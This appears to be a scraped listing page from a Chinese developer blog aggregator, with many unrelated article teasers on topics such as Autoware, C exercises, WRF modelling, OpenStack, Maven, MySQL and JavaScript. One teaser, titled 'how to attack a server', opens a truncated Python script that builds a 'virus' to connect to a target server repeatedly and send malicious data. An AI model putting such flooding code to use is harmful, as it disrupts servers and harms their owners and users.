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星火(star&fire)
autosar自动驾驶apolloApollo自动驾驶
官网:https://autoware.org/autoware-overview/gitlab仓库:https://github.com/autowarefoundation/autowaregithub仓库:https://github.com/autowarefoundation/autoware.universeAutowareAutoware是一个自动驾驶开发平台,由Apex.AI开发和
- C语言期末必练题目——part 2
Kylin524
C语言期末c语言算法c++
读程序基本输入输出及流程控制1.#includemain(){inta=1,b=3,c=5;if(c==a+b)printf("yes\n");elseprintf("no\n");}运行结果为:no详见教材p89选择结构详见教材p91关系符号详见附录Dp378符号的优先级==表示判断符号两边的值是否相等;=表示将符号右边的值赋给左边的变量本题考点是选择结构3种基本形式的第二种选择结构三种一般形式
- 如何攻击一个服务器(仅用于教育及娱乐实验目的)
vliu612
服务器
importsocketimportosdefcreate_virus():#创建一个简单的病毒脚本,它会不断尝试连接目标服务器并发送恶意数据virus_code="""importsocketimporttimeimportthreadingdefattack_server(ip,port):whileTrue:try:s=socket.socket(socket.AF_INET,socket.
- 基于单片机的智能家居控制系统设计及应用
电气_空空
单片机毕业设计单片机智能家居嵌入式硬件毕业设计毕设
摘要:智能家居控制系统包括对家电实现远距离控制和近距离控制的一种控制型系统,通过系统内的TC35模块对控制信息进行采集,并将这些控制信息发送到STC89C52模块中去,由单片机发出系统控制指令,从而实现家居家电的控制。关键词:单片机;智能家居;家居生活;控制系统0引言21世纪我国进入了科技高速发展的时期,我国民众的生活质量也得到了显著的增强,民众对生活质量也有了更高的标准,智能化和人性化的科技产品
- TCP协议RFC文档
二进制程序猿
博客TCPRFC文档设计标准tcp
最近因为需要学习重温TCP协议设计的相关问题,重读了设计RFC的相关文档,感觉受益颇多。这里将一些我们常用的TCP协议RFC文档列表如下:RFC793TCP标准最初的TCP标准定义,但不包括TCP相关操作细节RFC813TCP窗口与确认策略讨论窗口确认机制,以及描述了在使用该机制存在的问题及解决方法RFC879TCP最大分段大小及相关主题讨论MSS参数在控制TCP分组大小的重要性,以及该参数与IP
- 图像生成大模型:Imagen 详解
转角再相遇
imagenpython深度学习计算机视觉
近年来,图像生成技术取得了显著进展,推动了计算机视觉和生成对抗网络(GAN)等领域的发展。Imagen是一个新兴的图像生成大模型,其在生成高质量、逼真图像方面表现出色。本文将详细讲解Imagen的基本原理、架构、训练流程及应用场景。1.Imagen的基本原理1.1什么是Imagen?Imagen是一种基于深度学习的图像生成模型,结合了自注意力机制(Self-attentionMechanism)和
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WRF模型原理及应用WRF
目录WRF运行时进程数限制的原因网格块的最小尺寸要求嵌套域的尺寸和分辨率进程数与网格划分的关系案例1:四层嵌套错误:ERROR:ReducetheMPIrankcount,orredistributethetasks解决方法参考WRF运行时进程数限制的原因在进行wrf模拟时,若内层网格分辨率较高,模拟时间较久,可适当增加运行内核数,但如何确定合适的内核数呢?太高会导致模型报错,太低又会增加模型运行
- 【Javascript Day11】数组的内置方法、添加获取、元素查询及练习、排序方法数组的内置方法
clp20031101
javascript前端开发语言
数组的内置方法//js语法中所有的数据类型都是从对象演变而来的varstr="abc";console.log(typeofstr,str.constructor);//stringconsole.log(typeofstr=="string");varuser={};console.log(typeofuser,user.constructor);vararr=[1,2];console.log
- Python在WRF模型自动化运行及前后处理中实践技术应用
数字化信息化智能化解决方案
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Python在WRF(WeatherResearchandForecasting)模型自动化运行及前后处理中的实践技术应用如下:自动化运行WRF模型:使用Python脚本可以自动化执行WRF模型的运行过程。通过编写脚本来调用WRF模型的输入文件、运行模型并收集输出结果。这样可以在短时间内运行多个模拟,提高工作效率。数据预处理:在运行WRF模型之前,需要进行数据预处理,包括数据格式转换、坐标转换、数
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Bro_cat
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-------------------------Linux权限755表示该文件所有者对该文件具有读、写、执行权限,该文件所有者所在组用户及其他用户对该文件具有读和执行权限。linux文件权限一般都以8进制表示,格式为abc的形式,其中a,b,c各为一个数字,分别表示User、Group、及Other对该文件的操作权限;如果文件权限用二进制表示那么是9位bit,从左至右,1-3位数字代表文件所有者
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兴风键盘侠
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数字化转型(DigitalTransformation)是当前企业和社会发展的核心驱动力。它不仅是技术层面的变革,更是一种系统性、战略性的转型,涵盖了业务流程、管理模式以及企业文化等多个维度。数字化转型通常可以划分为三个阶段:信息化、数字化和数智化。本文将对这三个阶段进行详细剖析,帮助您理解每个阶段的特征、目标及实施要点。第一阶段:信息化(Informatization)定义与目标信息化是数字化转
- C#html生成pdf之wkhtmltopdf及参数说明
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实现方法#regionHTML生成PDF//////HTML生成PDF//////页面URL如:http://127.0.0.1/index.html///保存地址如:/upload/pdf/123.pdf///publicstaticboolHtmlToPdf(stringurl,stringpath){if(string.IsNullOrEmpty(url)||string.IsNullOrE
- 舵机SG90详解
舵机,也叫伺服电机,在嵌入式开发中,舵机作为一种常见的运动控制组件,具有广泛的应用。其中,SG90舵机以其高效、稳定的性能特点,成为了许多工程师和爱好者的首选,无论是航模、云台、机器人、智能小车中都有它的身影。本文将深入探讨SG90舵机的技术规格、工作原理和使用方法,为您展现SG90舵机的功能和无限可能。1.源码下载及前置阅读本文首发良许嵌入式网:https://www.lxlinux.net/e
- 基于Keystone架构的DSP
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一、keystone架构组成部分1).全新的C66x定点/浮点内核:速度高达1.25GHz的高性能DSP内核,单个器件上可实现最高320GMAC和160GFLOP定点及浮点整合性能,整合多个DSP,节省板级空间,降低成本和电源需求。2).可配置协处理器:用于减轻系统微处理器的特定处理任务。3).层级存储器:重点讲述。4).TeraNet交换结构:芯片内部总线矩阵。5).多内核导航器(Multico
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目录the“scope”attributeforscopedslots….replacedby“slot-scope”since2.5UncaughtReferenceError:Vueisnotdefined!ERRORinstatic/js/xxxxxxx.jsfromUglifyJsprops不使用:(v-bind)可以传递值么!UncaughtTypeError:Cannotsetprop
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5、验证[root@controller~]#sourceadmin-openrc.sh列出加载的扩展模块,确认成功启动neutron-server进程。[root@controller~]#neutronext-list±----------------------±----------------------------------------------+|alias|name|±-----
- CSDN简介
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CSDN(ChineseSoftwareDeveloperNetwork),全称“中国软件开发者网络”,是一个专注服务于IT专业人士及IT企业的知识传播、在线学习、职业发展等全生命周期服务的平台。CSDN成立于1999年,是中国最大的中文IT技术社区,隶属于北京创新乐知网络技术有限公司。该平台汇聚了大量的软件开发者和IT专业人士,成为中国乃至全球范围内重要的IT技术交流和学习平台。CSDN的主要功
- Openstack架构构建及详解(2)--keystone组件
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⚫服务目录管理User(用户)一个人、系统或服务在OpenStack中的数字表示。已经登录的用户分配令牌环以访问资源。用户可以直接分配给特定的租户,就像隶属于每个组。Credentials(凭证)用于确认用户身份的数据。例如:用户名和密码,用户名和APIkey,或由认证服务提供的身份验证令牌Authentication(验证)确认用户身份的过程。Token(令牌)一个用于访问OpenStackAP
- 新手对于中国工业互联网2.0架构的认知
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架构
目录2.0体系架构组成部分各部分细分:为了推动工业互联网的发展,各个国家的工业互联网联盟纷纷推出了自己的工业互联网参考架构模型,用以指导相关标准体系建设及产业推进。国外比较著名的有美国工业互联网参考架构IIRA德国工业互联网参考架构RAMI4.0中国工业互联网产业联盟在参考美国工业互联网参考架构IIRA、德国RAMI4.0、日本IVRA的基础上于2016年8月发布了《工业互联网体系架构1.0》。其
- Spark Livy 指南及livy部署访问实践
house.zhang
大数据-Spark大数据
背景:ApacheSpark是一个比较流行的大数据框架、广泛运用于数据处理、数据分析、机器学习中,它提供了两种方式进行数据处理,一是交互式处理:比如用户使用spark-shell,编写交互式代码编译成spark作业提交到集群上去执行;二是批处理,通过spark-submit提交打包好的spark应用jar到集群中进行执行。这两种运行方式都需要安装spark客户端配置好yarn集群信息,并打通集群网
- 提高记忆力day01
三次拒绝王俊凯
记忆力训练学习
前言问题一:如何衡量一个人的记忆力和思维能力呢?(1)记忆的速度(2)记忆的准确度(3)记忆的持久度问题二:你为什么记不住?(1)没有找到正确的记忆方法(2)压力大导致容易紧张(3)疾病和药物的原因(4)吸烟及过度的饮酒问题三:什么是记忆?记忆是对经历过的事务能够记住,并能在以后再现。包括识记,保持,再现。思维问题四:增强记忆和思维能力的三大黄金思维模式(1)善用图像。(2)善用比喻。(3)善于建
- 大数据学习(四):Livy的安装配置及pyspark的会话执行
猪笨是念来过倒
大数据pyspark
一个基于Spark的开源REST服务,它能够通过REST的方式将代码片段或是序列化的二进制代码提交到Spark集群中去执行。它提供了以下这些基本功能:提交Scala、Python或是R代码片段到远端的Spark集群上执行;提交Java、Scala、Python所编写的Spark作业到远端的Spark集群上执行;提交批处理应用在集群中运行。从Livy所提供的基本功能可以看到Livy涵盖了原生Spar
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历时125天,《现代CSS技术应用与实践》小册迎来了完结,总篇数40篇,约11万字。后续还会继续更新,欢迎订阅支持我。《现代CSS技术应用与实践》是一本专注于现代CSS技术应用与实践的指导手册。小册旨在帮助读者深入理解现代CSS新特性的概念、原理和应用,掌握现代CSS技术的最新进展和实践经验,从而提升网页设计和开发的技能。小册内容涵盖现代CSS的基础知识、CSS嵌套及作用域、CSS布局技术与技巧、
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前言Hey,我是Immerse系列文章首发于【Immerse】,更多内容请关注该网站转载说明:转载请注明原文出处及版权声明!1.理解NPM包的结构1.1package.json文件:包的核心package.json文件是NPM包的中央配置,定义了包的各个方面,从基本元数据到复杂的发布配置。{"name":"my-awesome-package","version":"1.0.0","descrip
- 基于LSTM的空气污染情况预测与可视化平台设计与实现
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一、选题来源及意义(一)选题来源改革开放以来,中国经济取得了举世瞩目的伟大成就。随着城市化进程的加快和工业发展的加速,空气污染问题已经成为影响我国城市居民生活质量的重要因素。但与此同时,以高能耗和高排放为代价的发展模式也给中国的环境治理带来了严峻挑战[1]。空气污染不仅对环境造成破坏,还对人类健康产生严重影响[2]。给人们的生产生活带来极大的困扰。现阶段,我国城市高度重视环境污染治理工作,并采取相
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经过基础爬虫和进阶爬虫的学习,我们已经掌握了爬虫的基本原理、动态内容处理及反爬机制的应对。然而,当我们面对海量数据或需要高效爬取多个站点时,分布式爬虫和数据存储、处理能力就显得尤为重要。本篇博客将带你迈向网络爬虫的高级阶段,学习分布式爬取、大规模数据处理以及性能优化。一、分布式爬虫的概念1.什么是分布式爬虫?分布式爬虫是指通过多个节点协作完成大规模网页爬取任务的爬虫架构。它能有效解决以下问题:单台
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市面上AI绘画工具众多,它们利用深度学习和图像处理技术,为用户提供了丰富的创作体验和可能性。以下是对几款主流AI绘画工具的详细介绍及横向对比:一、主流AI绘画工具介绍Midjourney简介:Midjourney是一个独立的研究实验室,专注于人工智能绘图,被广泛应用于设计、艺术创作、广告制作等领域。特点:以其强大的图像生成能力和跨界融合的创新特点著称,能够根据文本描述和视觉输入生成兼具故事性与视觉
- Linux的Initrd机制
被触发
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Linux 的 initrd 技术是一个非常普遍使用的机制,linux2.6 内核的 initrd 的文件格式由原来的文件系统镜像文件转变成了 cpio 格式,变化不仅反映在文件格式上, linux 内核对这两种格式的 initrd 的处理有着截然的不同。本文首先介绍了什么是 initrd 技术,然后分别介绍了 Linux2.4 内核和 2.6 内核的 initrd 的处理流程。最后通过对 Lin
- maven本地仓库路径修改
bitcarter
maven
默认maven本地仓库路径:C:\Users\Administrator\.m2
修改maven本地仓库路径方法:
1.打开E:\maven\apache-maven-2.2.1\conf\settings.xml
2.找到
 
- XSD和XML中的命名空间
darrenzhu
xmlxsdschemanamespace命名空间
http://www.360doc.com/content/12/0418/10/9437165_204585479.shtml
http://blog.csdn.net/wanghuan203/article/details/9203621
http://blog.csdn.net/wanghuan203/article/details/9204337
http://www.cn
- Java 求素数运算
周凡杨
java算法素数
网络上对求素数之解数不胜数,我在此总结归纳一下,同时对一些编码,加以改进,效率有成倍热提高。
第一种:
原理: 6N(+-)1法 任何一个自然数,总可以表示成为如下的形式之一: 6N,6N+1,6N+2,6N+3,6N+4,6N+5 (N=0,1,2,…)
- java 单例模式
g21121
java
想必单例模式大家都不会陌生,有如下两种方式来实现单例模式:
class Singleton {
private static Singleton instance=new Singleton();
private Singleton(){}
static Singleton getInstance() {
return instance;
}
- Linux下Mysql源码安装
510888780
mysql
1.假设已经有mysql-5.6.23-linux-glibc2.5-x86_64.tar.gz
(1)创建mysql的安装目录及数据库存放目录
解压缩下载的源码包,目录结构,特殊指定的目录除外:
- 32位和64位操作系统
墙头上一根草
32位和64位操作系统
32位和64位操作系统是指:CPU一次处理数据的能力是32位还是64位。现在市场上的CPU一般都是64位的,但是这些CPU并不是真正意义上的64 位CPU,里面依然保留了大部分32位的技术,只是进行了部分64位的改进。32位和64位的区别还涉及了内存的寻址方面,32位系统的最大寻址空间是2 的32次方= 4294967296(bit)= 4(GB)左右,而64位系统的最大寻址空间的寻址空间则达到了
- 我的spring学习笔记10-轻量级_Spring框架
aijuans
Spring 3
一、问题提问:
→ 请简单介绍一下什么是轻量级?
轻量级(Leightweight)是相对于一些重量级的容器来说的,比如Spring的核心是一个轻量级的容器,Spring的核心包在文件容量上只有不到1M大小,使用Spring核心包所需要的资源也是很少的,您甚至可以在小型设备中使用Spring。
 
- mongodb 环境搭建及简单CURD
antlove
WebInstallcurdNoSQLmongo
一 搭建mongodb环境
1. 在mongo官网下载mongodb
2. 在本地创建目录 "D:\Program Files\mongodb-win32-i386-2.6.4\data\db"
3. 运行mongodb服务 [mongod.exe --dbpath "D:\Program Files\mongodb-win32-i386-2.6.4\data\
- 数据字典和动态视图
百合不是茶
oracle数据字典动态视图系统和对象权限
数据字典(data dictionary)是 Oracle 数据库的一个重要组成部分,这是一组用于记录数据库信息的只读(read-only)表。随着数据库的启动而启动,数据库关闭时数据字典也关闭 数据字典中包含
数据库中所有方案对象(schema object)的定义(包括表,视图,索引,簇,同义词,序列,过程,函数,包,触发器等等)
数据库为一
- 多线程编程一般规则
bijian1013
javathread多线程java多线程
如果两个工两个以上的线程都修改一个对象,那么把执行修改的方法定义为被同步的,如果对象更新影响到只读方法,那么只读方法也要定义成同步的。
不要滥用同步。如果在一个对象内的不同的方法访问的不是同一个数据,就不要将方法设置为synchronized的。
- 将文件或目录拷贝到另一个Linux系统的命令scp
bijian1013
linuxunixscp
一.功能说明 scp就是security copy,用于将文件或者目录从一个Linux系统拷贝到另一个Linux系统下。scp传输数据用的是SSH协议,保证了数据传输的安全,其格式如下: scp 远程用户名@IP地址:文件的绝对路径
- 【持久化框架MyBatis3五】MyBatis3一对多关联查询
bit1129
Mybatis3
以教员和课程为例介绍一对多关联关系,在这里认为一个教员可以叫多门课程,而一门课程只有1个教员教,这种关系在实际中不太常见,通过教员和课程是多对多的关系。
示例数据:
地址表:
CREATE TABLE ADDRESSES
(
ADDR_ID INT(11) NOT NULL AUTO_INCREMENT,
STREET VAR
- cookie状态判断引发的查找问题
bitcarter
formcgi
先说一下我们的业务背景:
1.前台将图片和文本通过form表单提交到后台,图片我们都做了base64的编码,并且前台图片进行了压缩
2.form中action是一个cgi服务
3.后台cgi服务同时供PC,H5,APP
4.后台cgi中调用公共的cookie状态判断方法(公共的,大家都用,几年了没有问题)
问题:(折腾两天。。。。)
1.PC端cgi服务正常调用,cookie判断没
- 通过Nginx,Tomcat访问日志(access log)记录请求耗时
ronin47
一、Nginx通过$upstream_response_time $request_time统计请求和后台服务响应时间
nginx.conf使用配置方式:
log_format main '$remote_addr - $remote_user [$time_local] "$request" ''$status $body_bytes_sent "$http_r
- java-67- n个骰子的点数。 把n个骰子扔在地上,所有骰子朝上一面的点数之和为S。输入n,打印出S的所有可能的值出现的概率。
bylijinnan
java
public class ProbabilityOfDice {
/**
* Q67 n个骰子的点数
* 把n个骰子扔在地上,所有骰子朝上一面的点数之和为S。输入n,打印出S的所有可能的值出现的概率。
* 在以下求解过程中,我们把骰子看作是有序的。
* 例如当n=2时,我们认为(1,2)和(2,1)是两种不同的情况
*/
private stati
- 看别人的博客,觉得心情很好
Cb123456
博客心情
以为写博客,就是总结,就和日记一样吧,同时也在督促自己。今天看了好长时间博客:
职业规划:
http://www.iteye.com/blogs/subjects/zhiyeguihua
android学习:
1.http://byandby.i
- [JWFD开源工作流]尝试用原生代码引擎实现循环反馈拓扑分析
comsci
工作流
我们已经不满足于仅仅跳跃一次,通过对引擎的升级,今天我测试了一下循环反馈模式,大概跑了200圈,引擎报一个溢出错误
在一个流程图的结束节点中嵌入一段方程,每次引擎运行到这个节点的时候,通过实时编译器GM模块,计算这个方程,计算结果与预设值进行比较,符合条件则跳跃到开始节点,继续新一轮拓扑分析,直到遇到
- JS常用的事件及方法
cwqcwqmax9
js
事件 描述
onactivate 当对象设置为活动元素时触发。
onafterupdate 当成功更新数据源对象中的关联对象后在数据绑定对象上触发。
onbeforeactivate 对象要被设置为当前元素前立即触发。
onbeforecut 当选中区从文档中删除之前在源对象触发。
onbeforedeactivate 在 activeElement 从当前对象变为父文档其它对象之前立即
- 正则表达式验证日期格式
dashuaifu
正则表达式IT其它java其它
正则表达式验证日期格式
function isDate(d){
var v = d.match(/^(\d{4})-(\d{1,2})-(\d{1,2})$/i);
if(!v) {
this.focus();
return false;
}
}
<input value="2000-8-8" onblu
- Yii CModel.rules() 方法 、validate预定义完整列表、以及说说验证
dcj3sjt126com
yii
public array rules () {return} array 要调用 validate() 时应用的有效性规则。 返回属性的有效性规则。声明验证规则,应重写此方法。 每个规则是数组具有以下结构:array('attribute list', 'validator name', 'on'=>'scenario name', ...validation
- UITextAttributeTextColor = deprecated in iOS 7.0
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ios
In this lesson we used the key "UITextAttributeTextColor" to change the color of the UINavigationBar appearance to white. This prompts a warning "first deprecated in iOS 7.0."
Ins
- 判断一个数是质数的几种方法
EmmaZhao
Mathpython
质数也叫素数,是只能被1和它本身整除的正整数,最小的质数是2,目前发现的最大的质数是p=2^57885161-1【注1】。
判断一个数是质数的最简单的方法如下:
def isPrime1(n):
for i in range(2, n):
if n % i == 0:
return False
return True
但是在上面的方法中有一些冗余的计算,所以
- SpringSecurity工作原理小解读
坏我一锅粥
SpringSecurity
SecurityContextPersistenceFilter
ConcurrentSessionFilter
WebAsyncManagerIntegrationFilter
HeaderWriterFilter
CsrfFilter
LogoutFilter
Use
- JS实现自适应宽度的Tag切换
ini
JavaScripthtmlWebcsshtml5
效果体验:http://hovertree.com/texiao/js/3.htm
该效果使用纯JavaScript代码,实现TAB页切换效果,TAB标签根据内容自适应宽度,点击TAB标签切换内容页。
HTML文件代码:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
- Hbase Rest API : 数据查询
kane_xie
RESThbase
hbase(hadoop)是用java编写的,有些语言(例如python)能够对它提供良好的支持,但也有很多语言使用起来并不是那么方便,比如c#只能通过thrift访问。Rest就能很好的解决这个问题。Hbase的org.apache.hadoop.hbase.rest包提供了rest接口,它内嵌了jetty作为servlet容器。
启动命令:./bin/hbase rest s
- JQuery实现鼠标拖动元素移动位置(源码+注释)
明子健
jqueryjs源码拖动鼠标
欢迎讨论指正!
print.html代码:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>发票打印</title>
&l
- Postgresql 连表更新字段语法 update
qifeifei
PostgreSQL
下面这段sql本来目的是想更新条件下的数据,可是这段sql却更新了整个表的数据。sql如下:
UPDATE tops_visa.visa_order
SET op_audit_abort_pass_date = now()
FROM
tops_visa.visa_order as t1
INNER JOIN tops_visa.visa_visitor as t2
ON t1.
- 将redis,memcache结合使用的方案?
tcrct
rediscache
公司架构上使用了阿里云的服务,由于阿里的kvstore收费相当高,打算自建,自建后就需要自己维护,所以就有了一个想法,针对kvstore(redis)及ocs(memcache)的特点,想自己开发一个cache层,将需要用到list,set,map等redis方法的继续使用redis来完成,将整条记录放在memcache下,即findbyid,save等时就memcache,其它就对应使用redi
- 开发中遇到的诡异的bug
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bug
今天我们服务器组遇到个问题:
我们的服务是从Kafka里面取出数据,然后把offset存储到ssdb中,每个topic和partition都对应ssdb中不同的key,服务启动之后,每次kafka数据更新我们这边收到消息,然后存储之后就发现ssdb的值偶尔是-2,这就奇怪了,最开始我们是在代码中打印存储的日志,发现没什么问题,后来去查看ssdb的日志,才发现里面每次set的时候都会对同一个key